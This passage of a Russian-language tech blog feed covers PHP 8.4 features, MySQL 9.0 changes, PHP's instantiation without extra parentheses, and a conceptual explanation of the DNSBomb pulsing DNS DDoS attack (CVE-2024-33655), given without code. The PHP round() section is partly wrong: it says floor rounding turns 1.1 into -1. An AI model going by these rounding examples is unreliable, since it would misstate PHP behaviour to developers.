}</code></pre><p></p><h2>Ассиметричная видимость свойств <a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/asymmetric-visibility-v2">RFC</a></h2><p>Одной из интересной особенностью PHP 8.4 является асимметричная видимость. Асимметричная видимость позволяет свойствам класса определять свою видимость (public, protected, или private) на основе контекста чтения или записи. Наиболее распространенным примером асимметричной видимости являются публичные свойства, которые можно изменять только изнутри класса. Такое свойство будет выглядеть следующим образом:</p><pre class="language-"><code class="language-">class BookModel
{
    public private(set) Author $author;
}</code></pre><p>Поскольку публичные свойства, которые могут быть изменены только в частном контексте, являются наиболее распространенным вариантом использования асимметричной видимости, также доступна сокращенная запись:</p><pre class="language-"><code class="language-">class  BookModel
{
    private(set) Author $author; // то же самое, что и public private(set)
}</code></pre><p>И конечно же, вы также можете сделать свойства доступными для записи только в пределах protected области:</p><pre class="language-"><code class="language-">class BookModel
{
    public protected(set) Author $author;
}</code></pre><p>Синтаксис для свойств в конструкторе:</p><pre class="language-"><code class="language-">public function __construct(
    private(set) Author $author;
) {}</code></pre><p></p><h2>Lazy (ленивые) объекты <a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/lazy-objects">RFC</a></h2><p>В PHP 8.4 наконец-то добавлена ​​встроенная поддержка ленивых объектов - распространенного шаблона, используемого фреймворками для создания прокси-объектов, ленивая загрузка объектов в PHP уже используется в критически важных для бизнеса ситуациях. Например, Symfony использует их в своем компоненте внедрения зависимостей для предоставления ленивых сервисов, которые полностью инициализируются только при необходимости. Некоторые ORM делает свои сущности ленивыми, позволяя объектам гидратировать себя из базы данных только при обращении.</p><pre class="language-"><code class="language-">$initializer = static function (MyClass $proxy): MyClass {
    return new MyClass(123);
};
 
$reflector = new ReflectionClass(MyClass::class);

$object = $reflector-&gt;newLazyProxy($initializer);</code></pre><p></p><h2>Вывод feature_list в функции curl_version() расширения Curl</h2><p>Функция curl_version в расширении Curl возвращает ассоциативный массив, содержащий информацию о версии и сборке Curl. Сюда входит версия Curl, имя и версия библиотеки SSL, версии Brotli и libz, список протоколов, поддерживаемых сборкой Curl, и битовая маска всех функций, поддерживаемых Curl. Битовая маска функций не позволяет интуитивно обнаружить и легко проверить, поддерживается ли конкретная функция (например, HTTP/2, HSTS и т. д.) в Curl.</p><p>В PHP 8.4 функция curl_version возвращает дополнительный ключ массива с именем feature_list, содержащий массив функций Curl и информацию о том, поддерживаются ли они:</p><pre class="language-"><code class="language-">curl_version();

//[
   "version_number" =&gt; 524801,
   "age" =&gt; 10,
   "features" =&gt; 1438631837,
    "feature_list" =&gt; [
      "AsynchDNS" =&gt; true,
      "CharConv" =&gt; false,
      "Debug" =&gt; false,
      // ...
      "HTTP2" =&gt; true,
      "HTTPS_PROXY" =&gt; true,
      "BROTLI" =&gt; true,
      "ALTSVC" =&gt; true,
      "HTTP3" =&gt; false,
      "ZSTD" =&gt; true,
      "HSTS" =&gt; true,
      // ...
    ],
   "ssl_version_number" =&gt; 0,
   "version" =&gt; "8.4.0",
   "host" =&gt; "x86_64-pc-linux-gnu",
   // ...
 ]</code></pre><p></p><h2>Новые режимы округления в функции round()</h2><p>Функция round() округляет значение с плавающей точкой до ближайшего целого числа или десятичного значения указанной точности. Она поддерживает различные режимы округления, а PHP 8.4 добавляет четыре новых метода округления:</p><ul><li><p><strong>PHP_ROUND_CEILING</strong>: Округляет число до ближайшего целого числа, большего, чем число, превращая 1.1 и 1.5 в 2, а -1.1 и -1.5 в -1.</p></li><li><p><strong>PHP_ROUND_FLOOR</strong>: Округляет число до ближайшего целого числа, меньшего числа, превращая 1.1 и 1.9 в -1 , а -1.9 и -1.1 в -2. Возвращаемое значение идентично возвращаемому значению функции floor.</p></li><li><p><strong>PHP_ROUND_TOWARD_ZERO</strong>: Округляет число в сторону нуля, превращая 1.9 и 1.1 в 1, а -1.9 и -1.9 в -1.</p></li><li><p><strong>PHP_ROUND_AWAY_FROM_ZERO</strong>: Округляет число от нуля, превращая 1.1 и 1.9 в 2, а -1,1 и -1.9 в -2 .</p></li></ul><pre class="language-"><code class="language-">round(1.1, precision: 0, mode: PHP_ROUND_CEILING); // 2
round(1.1, precision: 1, mode: PHP_ROUND_FLOOR); // -1
round(1.9, precision: 0, mode: PHP_ROUND_TOWARD_ZERO); // 1
round(1.9,  precision: 0, mode: PHP_ROUND_AWAY_FROM_ZERO); // 2</code></pre><h2>Улучшение обратных вызовов в ext/dom и ext/xsl</h2><p>В PHP 8.4 будет улучшена поддержка вызываемых типов XSLTProcessor::registerPHPFunctions() и DOMXPath::registerPhpFunctions() методов:</p><pre class="language-"><code class="language-">function my_callback(string $href): bool {
    return preg_match("/cat/", $href);
}
$xpath = new DOMXPath($doc);

// Это необходимо для разрешения имени php в выражении php:function ниже
$xpath-&gt;registerNamespace("php", "http://php.net/xpath");

// При этом функция "my_callback" регистрируется в XPath, так что может быть вызвана
$xpath-&gt;registerPhpFunctions("my_callback");

// При этом выбираются все теги &lt;a&gt;, где my_callback (содержимое их атрибута href) возвращает true.
$results = $xpath-&gt;evaluate("//a[php:function('my_callback', string(@href))]");
foreach ($results as $result) {
    echo "Found ", $result-&gt;textContent, "
";
}

/*
Found Jill
Found Kes
Found Minou
Found Tessa
*/ </code></pre><p></p><h2>Изменения синтаксиса/функциональности</h2><h3>Exit/die переход с языковых конструкций на функции</h3><p>Ключевое слово <strong>exit </strong>и его псевдоним <strong>die</strong> - это языковые конструкции, которые выводят сообщение и завершают текущий скрипт. В приложениях <strong>CLI exit</strong>/<strong>die</strong> может использоваться для завершения приложения с заданным кодом выхода. В PHP 8.4 exit/die будут являться функциями. Они будет иметь специальную обработку, позволяющую вызывать их без скобок для обеспечения обратной совместимости со старыми приложениями:</p><pre class="language-"><code class="language-">function exit(string|int $status = 0): never {}

exit; //валидно так же</code></pre><h3>Создание экземпляров класса без дополнительных круглых скобок</h3><p>В PHP 8.4 появилась возможность <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/sozdanie-ekzempliarov-klassa-bez-dopolnitelnyx-kruglyx-skobok">опускать дополнительные скобки при new выражении</a>, т.е. вместо:</p><pre class="language-"><code class="language-">$request = (new Request())-&gt;withMethod('GET');</code></pre><p>можно писать такой синтаксис:</p><pre class="language-"><code class="language-">$request = new Request()-&gt;withMethod('GET'); </code></pre><h3>Хеширование паролей: алгоритмическая сложность Bcrypt по умолчанию изменена с 10 на 12</h3><p>В PHP 8.4 параметр cost алгоритма PASSWORD_BCRYPT/PASSWORD_DEFAULT изменился с 10 на 12, чтобы сделать пароли более устойчивыми и сложными.</p><p>Это изменение по существу эквивалентно:</p><pre class="language-"><code class="language-">password_hash("some password", PASSWORD_BCRYPT, ["cost" =&gt; 12]);</code></pre><p></p><h2><a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/jit_config_defaults">Способ отключения JIT по умолчанию rfc</a></h2><p>До PHP 8.4 JIT был отключен по умолчанию, используя значение по умолчанию opcache.jit_buffer_size=0 вместо opcache.jit=disable. Это фактически отключает JIT не потому, что jit=disable, а потому что размер буфера установлен равный 0.</p><p>В этом RFC предлагается изменить эти значения по умолчанию на выключенный jit и размер буфера на 64 мегабайт:</p><pre class="language-"><code class="language-">opcache.jit=disable
opcache.jit_buffer_size=64m</code></pre><p></p><h2>Тип констант PHP_ZTS и PHP_DEBUG изменен с int на bool</h2><p>PHP_ZTS и PHP_DEBUG - две глобальные константы PHP, которые предоставляют информацию о текущей среде выполнения PHP.</p><ul><li><p>PHP_ZTS: Указывает, является ли текущая сборка PHP потокобезопасной.</p></li><li><p>PHP_DEBUG: Указывает, является ли текущая сборка PHP отладочной сборкой.</p></li></ul><p>До PHP 8.4 эти две константы содержали целочисленные значения: 0 когда отключено и 1 когда включено. Начиная с PHP 8.4 и более поздних версий, они изменились на логические значения .</p><pre class="language-"><code class="language-">if (PHP_ZTS === 1) {} //было</code></pre><pre class="language-"><code class="language-">if (PHP_ZTS) {} //стало</code></pre><p></p><h2>Минимальная требуемая версия OpenSSL увеличена до 1.1.1</h2><p>Это изменение увеличивает минимальную поддерживаемую версию библиотеки OpenSSL для расширения PHP OpenSSL до 1.1.1. За исключением серии RHEL/CentOS 7 , операционная система, скорее всего, предоставляет OpenSSL версии 1.1.1 или более поздней, и, таким образом, это изменение не окажет никакого влияния. RHEL/CentOS 7 прекращает свое существование на момент выпуска PHP 8.4.</p><h2><strong>Устаревшие функции</strong></h2><h2>Неявные типы, допускающих NULL</h2><p>В PHP наблюдалось странное поведение, при котором типизированная переменная со значением null по умолчанию автоматически становилась nullable. PHP 8.4 теперь не поддерживает неявно обнуляемые типы. Все объявления типов, имеющие значение по умолчанию null, но без объявления null в объявлении типа, выдают уведомление об устаревании:</p><pre class="language-"><code class="language-">function test(string $value = null) {}

//выдаст
//Implicitly marking parameter $value as nullable is deprecated, the explicit nullable type must be used instead</code></pre><p>Рекомендуется привести к явному виду:</p><pre class="language-"><code class="language-">function test(?string $test = null) {}
//или
function test(string|null $test = null) {}

test('PHP'); // нормально
test(null); // нормально</code></pre><h2>Curl: <code>CURLOPT_BINARYTRANSFER</code></h2><p>Константа CURLOPT_BINARYTRANSFER, предоставляемая расширением Curl, устарела в PHP 8.4. Эта константа не имела никакого эффекта, начиная с PHP 5.1.2.</p><h2>Константа E_STRICT устарела</h2><p>Константа E_STRICT устарела в PHP 8.4. Использование константы в любом месте кода PHP теперь выдает уведомление об устаревании:</p><pre class="language-"><code class="language-">error_reporting(E_ALL &amp; ~E_DEPRECATED &amp; ~E_STRICT);

//Constant E_STRICT is deprecated</code></pre><p></p><h2>Вызов session_set_save_handler() с более чем 2 аргументами устарел <a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/deprecate_functions_with_overloaded_signatures">RFC</a></h2><pre class="language-"><code class="language-">session_set_save_handler('my_session_open', 'my_session_close', 'my_session_read', 'my_session_write', 'my_session_destroy', 'my_session_gc');

//Deprecated: Calling session_set_save_handler() with more than 2 arguments is deprecated in ... on line ...</code></pre><p></p><h2><strong>Удалены функции и возможности</strong></h2><h2>Pspell было перенесено из PHP Core в PECL</h2><p>Расширение Pspell предоставляет из себя PHP функции проверки орфографии с помощью <a target="_blank" rel="noopener noreferrer nofollow" href="https://sourceforge.net/projects/pspell/">Pspell</a> или <a target="_blank" rel="noopener noreferrer nofollow" href="https://ftp.gnu.org/gnu/aspell/">Aspell</a>. Зависимости этого расширения не получали никаких обновлений за последние несколько лет, в результате чего было принято решение расширение Pspell перенести из ядра PHP в расширение PECL в PHP 8.4.</p><h2>IMAP было перенесено из PHP Core в PECL</h2><p>Расширение IMAP в PHP обеспечивает функциональность для работы с почтовыми ящиками по протоколу IMAP. Базовая библиотека C, от которой зависит расширение, не получала никаких обновлений с 2018 года. Расширение IMAP также создает еще несколько проблем:</p><ul><li><p>Отсутствие потокобезопасности. Сборки PHP-ZTS не могут собрать это расширение.</p></li><li><p>Отсутствие поддержки аутентификации XAUTH .</p></li><li><p>Ошибки в работе POP.</p></li></ul><p>В PHP 8.4 расширение IMAP больше не является частью PHP Core и перешло в PECL, но рекомендуется перейти на альтернативные библиотеки, например <a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/Webklex/php-imap">Webklex/php-imap</a>.</p><h2>OCI8 и PDO-OCI были перенесены из PHP Core в PECL</h2><p>Расширения oci8 и pdo_oci8 предоставляют функциональные возможности для использования баз данных Oracle в PHP. Эти расширения основаны на собственных библиотеках коммерческого поставщика Oracle. Эти расширения прошли длительный период накопления неисправленных ошибок и требуют значительных усилий для миграции их resource объектов в объекты классов. Учитывая зависимость этих расширений от сторонних проприетарных библиотек и необходимость усилий по их обслуживанию, расширения больше не являются частью ядра PHP и перешли на PECL как <a target="_blank" rel="noopener noreferrer nofollow" href="https://pecl.php.net/package/oci8">oci8</a> и <a target="_blank" rel="noopener noreferrer nofollow" href="https://pecl.php.net/package/PDO_OCI">pdo_oci</a>.</p><h2>Другое</h2><p>Так же можно посмотреть <a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/deprecations_php_8_4">черновик</a>, связанный с функциями, которые должны быть объявлены устаревшими в PHP 8.4 и удалены в PHP 9.0:</p><ul><li><p>DOMAttr::schemaTypeInfo и DOMElement::schemaTypeInfo</p></li><li><p>DOMImplementation::getFeature($feature, $version)</p></li><li><p>Constant DOM_PHP_ERR</p></li><li><p>mysqli_ping() и mysqli::ping()</p></li><li><p>Минимальная требуемая версия libcurl увеличена до 7.61.0</p></li><li><p>База данных символов Unicode в расширении mbstring обновлена ​​до версии 16</p></li><li><p>Недопустимые режимы округления функции round() вызывают исключения ValueError</p></li></ul>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/111</guid>
                <pubDate>2024-11-21T12:56:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Релиз MySQL 9.0 - что нового]]></title>
                <link>https://sergeymukhin.com/blog/reliz-mysql-90-chto-novogo</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Релиз MySQL 9.0 - что нового</h1><p>Итак очередной инновационный релиз в лице MySQL 9 вышел в свет, давайте посмотрим какие параметры и переменные сервера MySQL были добавлены, устарели или удалены в MySQL 9.0. Изменений по сравнению с 8.4 не так чтобы много, скорее это очередной подготовительный релиз.</p><h3>Функции, добавленные или измененные в MySQL 9.0</h3><p>В MySQL 9.0 были добавлены следующие функции:</p><ul><li><p><strong>Сохранение вывода JSON из EXPLAIN ANALYZE INTO.&nbsp;</strong> Начиная с MySQL 9.0.0, теперь поддерживается сохранение вывода <code>JSON</code> из <code>EXPLAIN ANALYZE </code>в пользовательскую переменную с использованием синтаксиса:</p><pre class="language-"><code class="language-">EXPLAIN ANALYZE FORMAT=JSON INTO @variable select_stmt</code></pre><p>Переменная может быть впоследствии использована как аргумент JSON для любой из функций JSON MySQL. <code>Оператор INTO</code> поддерживается только с <code>FORMAT=JSON</code>, где <code>FORMAT</code> должен быть указан явно. Эта форма <code>EXPLAIN ANALYZE </code>также поддерживает необязательное предложение <code>FOR SCHEMA</code> или <code>FOR DATABASE</code>.</p><blockquote><p>Эта функция доступна только в том случае, если системная переменная сервера <code>explain_json_format_version</code> равна <code>2</code>; в противном случае попытка ее использования приведет к возникновению ошибки <code>ER_EXPLAIN_ANALYZE_JSON_FORMAT_VERSION_NOT_SUPPORTED</code> ( EXPLAIN ANALYZE не поддерживает FORMAT=JSON с explain_json_format_version=1 ).</p></blockquote></li><li><p>Начиная с MySQL 9.0.0, можно подготовить следующие операторы:</p></li></ul><ol><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://dev.mysql.com/doc/refman/9.0/en/create-event.html">CREATE EVENT</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://dev.mysql.com/doc/refman/9.0/en/alter-event.html">ALTER EVENT</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://dev.mysql.com/doc/refman/9.0/en/drop-event.html">DROP EVENT</a></p></li></ol><ul><li><p>Плейсхолдеры (<code>?</code>) не поддерживаются для этих операторов но есть возможность передать значение параметра в хранимую процедуру, например, такую:</p></li></ul><pre class="language-"><code class="language-">delimiter |

CREATE PROCEDURE sp(n INT)
BEGIN
  SET @s1 = "CREATE EVENT e ON SCHEDULE EVERY ";
  SET @s2 = " SECOND
       STARTS CURRENT_TIMESTAMP + INTERVAL 10 SECOND
       ENDS CURRENT_TIMESTAMP + INTERVAL 2 MINUTE
       ON COMPLETION PRESERVE
       DO
       INSERT INTO d.t VALUES ROW(NULL, NOW(), FLOOR(RAND()*100))";
  
  SET @s = CONCAT(@s1, n, @s2);
  PREPARE ps FROM @s;
  EXECUTE ps;
  DEALLOCATE PREPARE ps;
END |

delimiter ;</code></pre><ul><li><p><strong>Таблицы системных переменных Performance Schema.&nbsp;</strong> MySQL 9.0 добавляет две новые таблицы в Performance Schema, которые предоставляют информацию о системных переменных сервера:</p><ul><li><p>Таблица <code>variables_metadata</code> содержит общую информацию о системных переменных. Эта информация включает имя, область действия, тип, диапазон (где применимо) и описание каждой системной переменной, распознаваемой сервером MySQL.</p><p>Два столбца в этой таблице ( <code>MIN_VALUE </code>и <code>MAX_VALUE</code>) предназначены для замены устаревших столбцов таблицы <code>variables_info</code>.</p></li><li><p>В таблице <code>global_variable_attributes</code> представлена ​​информация о парах атрибут-значение, назначенных сервером глобальным системным переменным, таких как например <a target="_blank" rel="noopener noreferrer nofollow" href="https://dev.mysql.com/doc/refman/9.0/en/server-system-variables.html#sysvar_offline_mode">offline_mode</a> или <a target="_blank" rel="noopener noreferrer nofollow" href="https://dev.mysql.com/doc/refman/9.0/en/server-system-variables.html#sysvar_read_only">read_only</a>.</p></li></ul></li></ul><p>Атрибуты и их значения не могут быть установлены пользователями, и они не могут быть прочитаны пользователями, кроме как запрашивающими эту таблицу. Атрибуты и их значения могут быть установлены, изменены или удалены только сервером.</p><h3>Устаревшие функции в MySQL 9.0</h3><p>Для приложений, использующих устаревшие в MySQL 9.0 функции, которые были удалены в более поздней версии MySQL, операторы могут давать сбой при репликации из источника MySQL 9.0 в реплику, работающую под управлением более поздней версии, или могут иметь разные эффекты на источнике и реплике. Чтобы избежать таких проблем, приложения, использующие устаревшие в 9.0 функции, следует пересмотреть, чтобы избегать их и использовать альтернативы, когда это возможно.</p><ul><li><p><strong>Столбцы таблицы variables_info.&nbsp;</strong> Столбцы <code>MIN_VALUE </code>и <code>MAX_VALUE </code>таблицы <code>variables_info </code>теперь устарели и могут быть удалены в будущем. Вместо этого используйте столбцы таблицы <code>variables_metadata </code>которые имеют те же названия.</p></li></ul><h3>Удаленные функции в MySQL 9.0</h3><p>Для приложений которые используют функции MySQL 8.4 и которые были удаленные в MySQL 9.0, операторы могут давать сбой при репликации из источника MySQL 8.4 в реплику MySQL 9.0 или могут иметь разные эффекты на источнике и реплике. Чтобы избежать таких проблем, приложения, которые используют функции, удаленные в MySQL 9.0, следует пересмотреть, чтобы избегать их и использовать альтернативы, когда это возможно.</p><ul><li><p><strong>Плагин mysql_native_password.&nbsp;</strong> Плагин аутентификации mysql_native_password, ранее устаревший в MySQL 8.0, был удален. Теперь сервер отклоняет запросы аутентификации <code>mysql_native</code> от старых клиентских программ, которые не имеют возможности <code>CLIENT_PLUGIN_AUTH</code>.</p><p>В связи с этим изменением также были удалены следующие параметры и переменные сервера:</p><ul><li><p>Серверный параметр <code>--mysql-native-password</code></p></li><li><p>Серверный параметр <code>--mysql-native-password-proxy-users</code></p></li><li><p>Системная переменная сервера <code>default_authentication_plugin</code></p></li></ul><p>Для обратной совместимости <code>mysql_native_password </code>остается доступным на клиенте, так что клиентские программы MySQL 9.0 могут подключаться к более ранним версиям сервера MySQL. В MySQL 9.0 собственный плагин аутентификации MySQL, встроенный в предыдущие выпуски клиентских программ, был преобразован в тот, который должен быть загружен во время выполнения.</p></li></ul>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/130</guid>
                <pubDate>2024-07-02T12:41:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[TCP-Импульсная DDoS-атака DNSBomb - CVE-2024-33655]]></title>
                <link>https://sergeymukhin.com/blog/tcp-impulsnaya-ddos-ataka-dnsbomb-cve-2024-33655</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">TCP-Импульсная DDoS-атака DNSBomb - CVE-2024-33655</h1><p>В прошлый раз нам грозила <a target="_blank" rel="noopener noreferrer nofollow" href="https://sergeymukhin.com/blog/uiazvimost-http2-ddos-ataka-s-bystrym-sbrosom-rapid-reset-cve-2023-44487">Уязвимость HTTP/2 DDoS атака с быстрым сбросом (Rapid Reset) - CVE-2023-44487</a> теперь же пришла новая угроза.</p><p>Команда ученых из Университета Цинхуа в Пекине (Китай) обнаружила новый метод запуска крупномасштабных DDoS-атак с использованием DNS-трафика типа "отказ в обслуживании".</p><p>Новая атака называется <a target="_blank" rel="noopener noreferrer nofollow" href="https://dnsbomb.net/?ref=news.risky.biz"><u>DNSBomb</u></a> и представляет собой вариант <a target="_blank" rel="noopener noreferrer nofollow" href="https://dl.acm.org/doi/10.1145/863955.863966?ref=news.risky.biz"><u>статьи 2003 года</u></a>, в которой описывалась техника DDoS-атаки с использованием TCP-импульсов.</p><h2>Импульсные DoS-атаки</h2><p>Pulse Wave или Pulsing DoS-атаки используют повторяющиеся короткие всплески трафика большого объема для воздействия на целевую систему или сервис. Импульсы или всплески могут длиться нескольких сотен миллисекунд с периодичностью в пару секунд, а продолжительность атаки может длиться часы и даже дни. Импульсы большого объема при Pulsing DoS-атаках длятся всего миллисекунды, в отличие от более распространенных <a target="_blank" rel="noopener noreferrer nofollow" href="https://www.radware.com/blog/security/2018/02/burst-attack-protection/">пакетных атак</a>, которые длятся обычно несколько минут. Из-за низкой средней пропускной способности трафика импульсные DoS-атаки труднее обнаружить, чем традиционные флуд атаки.</p><img src="/files/blog/2024/tcp-pulsiruiushhaia-ddos-ataka-dnsbomb-cve-2024-33655-1gyKdg.png"><p>Импульсные DoS-атаки вызывают периодическую потерю пакетов и ухудшают качество TCP-соединений, используя слабые места в механизмах контроля перегрузки TCP, которые работают в таких временных рамках, как время приема-передачи (RTT) и время ожидания повторной передачи (RTO). RTT используется для оценки оптимального объема данных, которые могут передаваться в сети, и регулировки скорости отправки (окна перегрузки) в нормальных условиях. Если происходит потеря пакета, TCP будет ждать некоторое время RTO после повторной отправки пакета, пока не будет получен действительный пакет. В случае дальнейшей потери TCP динамически корректирует RTO на основе RTT и его вариаций и продолжает стратегию повторной передачи. Если общий объем DoS-трафика во время импульса RTT достаточен, чтобы вызвать потерю пакетов, поток TCP войдет в тайм-аут и через несколько секунд повторно отправит пакет RTO. Более того, если период импульса DoS приближается к RTO, поток TCP будет постоянно нести потери при попытке выйти из состояния передачи и в конечном итоге не сможет выйти, что приведет к почти нулевой пропускной способности.</p><h3>DNSBomb</h3><p>DNSBomb использует ту же концепцию, но повторно реализует ее с использованием программного обеспечения DNS и современной инфраструктуры DNS-серверов, такой как рекурсивные преобразователи и авторитетные nameserver'ы.</p><p>Документ DNSBomb и график ниже объясняют всю концепцию лучше, но в очень упрощенной версии, атака DNSBomb работает, отправляя медленный поток измененных DNS-запросов на DNS-серверы, которые пересылают данные, увеличивают размер пакета и накапливают в нем данные. Это для того, чтобы выпустить все сразу в виде мощного импульса DNS-трафика, направленного на цель:</p><img src="/files/blog/2024/tcp-pulsiruiushhaia-ddos-ataka-dnsbomb-cve-2024-33655-JbbDv2.png"><p><br>Исследовательская группа утверждает, что протестировала свою технику на 10 распространенных DNS программах и 46 общедоступных DNS-сервисах и смогла запустить DNSBomb-атаки со скоростью до 8,7 Гбит/с, при этом первоначальный DNS-трафик был усилен в 20 000 раз от первоначального размера. Эти цифры поставили DNSBomb<s> </s>в поле зрения охотников за DDoS-ботнетами.</p><p>В итоге атака приводит к полной потере пакетов или ухудшению качества обслуживания как на соединениях без сохранения состояния, так с сохранением (TCP, UDP и QUIC).</p><p>Исследователи сообщили об атаке всем пострадавшим сторонам, а 24 организации признали результаты исследования и выпустили исправления. Затронутые организации включают в себя список поставщиков DNS.</p><img src="/files/blog/2024/tcp-pulsiruiushhaia-ddos-ataka-dnsbomb-cve-2024-33655-QQjL6L.png"><p></p><p>Атака DNSBomb отслеживается под идентификатором CVE-2024-33655, а исследование будет представлено на этой неделе на <a target="_blank" rel="noopener noreferrer nofollow" href="https://sp2024.ieee-security.org/accepted-papers.html?ref=news.risky.biz"><u>симпозиуме IEEE по безопасности и конфиденциальности</u></a>, проходящем в Сан-Франциско.</p><p>Связанные идентификаторы:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://www.knot-resolver.cz/">Knot</a>:&nbsp;<a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49206">CVE-2023-49206</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://simpledns.plus/">Simple DNS Plus</a>:&nbsp;<a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49205">CVE-2023-49205</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/TechnitiumSoftware/DnsServer/blob/master/CHANGELOG.md#version-120">Technitium</a>:&nbsp;<a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28456">CVE-2023-28456</a><a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49203">CVE-2023-49203</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://maradns.samiam.org/">MaraDNS</a>:&nbsp;<a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49204">CVE-2023-49204</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://thekelleys.org.uk/dnsmasq/doc.html">Dnsmasq</a>:&nbsp;<a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28450">CVE-2023-28450</a><a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49207">CVE-2023-49207</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://coredns.io/">CoreDNS</a>:&nbsp;<a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28454">CVE-2023-28454</a><a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49202">CVE-2023-49202</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://github.com/semihalev/sdns">SDNS</a>:&nbsp;<a target="_blank" rel="noopener noreferrer nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49201">CVE-2023-49201</a></p></li></ul>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/129</guid>
                <pubDate>2024-05-24T14:19:30+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Создание экземпляров класса без дополнительных круглых скобок]]></title>
                <link>https://sergeymukhin.com/blog/sozdanie-ekzempliarov-klassa-bez-dopolnitelnyx-kruglyx-skobok</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Создание экземпляров класса без дополнительных круглых скобок</h1><p>Функция «доступа к членам класса при создании экземпляра» <a target="_blank" rel="noopener noreferrer nofollow" href="https://php-legacy-docs.zend.com/manual/php5/en/migration54.new-features#:~:text=Class%20member%20access%20on%20instantiation%20has%20been%20added%2C%20e.g.%20(new%20Foo)%2D%3Ebar().">была представлена ​​в PHP 5.4.0</a>. С тех пор константы, свойства и методы могут быть доступны во вновь созданном экземпляре без промежуточной переменной, но только если выражение new заключено в круглые скобки:</p><pre class="language-"><code class="language-">class Request implements Psr\Http\Message\RequestInterface
 { 
    // ... 
}
 
// OK
$request = (new Request())-&gt;withMethod('GET')-&gt;withUri('/hello-world');
 
// PHP Parse error: syntax error, unexpected token "-&gt;"
$request = new Request()-&gt;withMethod('GET')-&gt;withUri('/hello-world');</code></pre><p><a target="_blank" rel="noopener noreferrer nofollow" href="https://wiki.php.net/rfc/new_without_parentheses">Этот RFC</a> позволяет опускать круглые скобки вокруг new выражения со скобками аргументов конструктора и написать просто <strong>new Class()-&gt;method()</strong>:</p><pre class="language-"><code class="language-">new Request()-&gt;withMethod('GET')-&gt;withUri('/hello-world');</code></pre><p>Возьмем для примера класс:</p><pre class="language-"><code class="language-">class MyClass
{
    const CONSTANT = 'constant';
    public static $staticProperty = 'staticProperty';
    public static function staticMethod(): string { return 'staticMethod'; }
    public $property = 'property';
    public function method(): string { return 'method'; }
    public function __invoke(): string { return '__invoke'; }
}</code></pre><p>Так можно теперь написать:</p><pre class="language-"><code class="language-">var_dump(
    new MyClass()::CONSTANT,        // string(8)  "constant"
    new MyClass()::$staticProperty, // string(14) "staticProperty"
    new MyClass()::staticMethod(),  // string(12) "staticMethod"
    new MyClass()-&gt;property,        // string(8)  "property"
    new MyClass()-&gt;method(),        // string(6)  "method"
    new MyClass()(),                // string(8)  "__invoke"
);</code></pre><p>Или:</p><pre class="language-"><code class="language-">$myClass = MyClass::class;

var_dump(
    new $myClass()::CONSTANT,        // string(8)  "constant"
    new $myClass()::$staticProperty, // string(14) "staticProperty"
    new $myClass()::staticMethod(),  // string(12) "staticMethod"
    new $myClass()-&gt;property,        // string(8)  "property"
    new $myClass()-&gt;method(),        // string(6)  "method"
    new $myClass()(),                // string(8)  "__invoke"
);
 
var_dump(
    new (trim(' MyClass '))()::CONSTANT,        // string(8)  "constant"
    new (trim(' MyClass '))()::$staticProperty, // string(14) "staticProperty"
    new (trim(' MyClass '))()::staticMethod(),  // string(12) "staticMethod"
    new (trim(' MyClass '))()-&gt;property,        // string(8)  "property"
    new (trim(' MyClass '))()-&gt;method(),        // string(6)  "method"
    new (trim(' MyClass '))()(),                // string(8)  "__invoke"
);</code></pre><p></p><p>Стоит также учитывать, что данный RFC не меняет поведение new выражений без круглых скобок аргументов конструктора:</p><pre class="language-"><code class="language-">new MyClass::CONSTANT; // продолжит выдавать синтаксическую ошибку
new $myClass::CONSTANT; // продолжит выдавать синтаксическую ошибку
new MyClass::$staticProperty; // продолжит работать как `new (MyClass::$staticProperty)`
new $myClass::$staticProperty; // продолжит работать как `new ($myClass::$staticProperty)`
